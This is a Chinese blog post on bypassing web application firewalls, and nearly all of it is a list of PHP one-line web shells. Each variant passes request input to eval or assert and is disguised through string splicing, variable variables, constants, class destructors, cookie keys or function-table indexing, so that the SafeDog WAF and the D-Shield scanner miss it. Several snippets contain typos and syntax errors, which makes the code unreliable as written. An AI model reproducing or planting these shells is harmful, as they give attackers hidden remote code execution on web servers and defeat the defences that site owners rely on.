欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

绕过WAF-一句话木马

程序员文章站 2022-07-07 19:55:00
...

注:本次的测试环境是最新的安全狗Apache:V4.0
一句话木马:<?php eval($_REQUEST['a'])?>
1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func()
2.使用end()函数来代替,可以写成:

<?php eval(end($_REQUEST)); ?>

注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写:

<?php if($_SERVER['HTTP_USER_AGENT'] === '1'{
eval(end($_REQUEST));} 
?>

3.字符拼接加双美元符

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['a']);
?>

4.常量

<?php
defin("a","$_REQUEST['a']");eval(a);
?>

5.用函数强行分割

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

6.用类分割

<?php
class User
{public $name=' ';
function_destruct(){
eval("$this->name");
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>

7.多方式传参

<?php
$COOKIE=$_COOKIE;//得到数组
foreach($COOKIE as $key => $value)
{if($key == 'assert'){
$key($_REQUEST['a']);
	}
}
?>

8.CTF中看到的一个手法(但是D盾可以发现这个木马)

<?php
$a=get_define_functions();
$a['internal'][841]($_REQUEST['hh']);
?>
注:$a['internal'][841]表示的是assert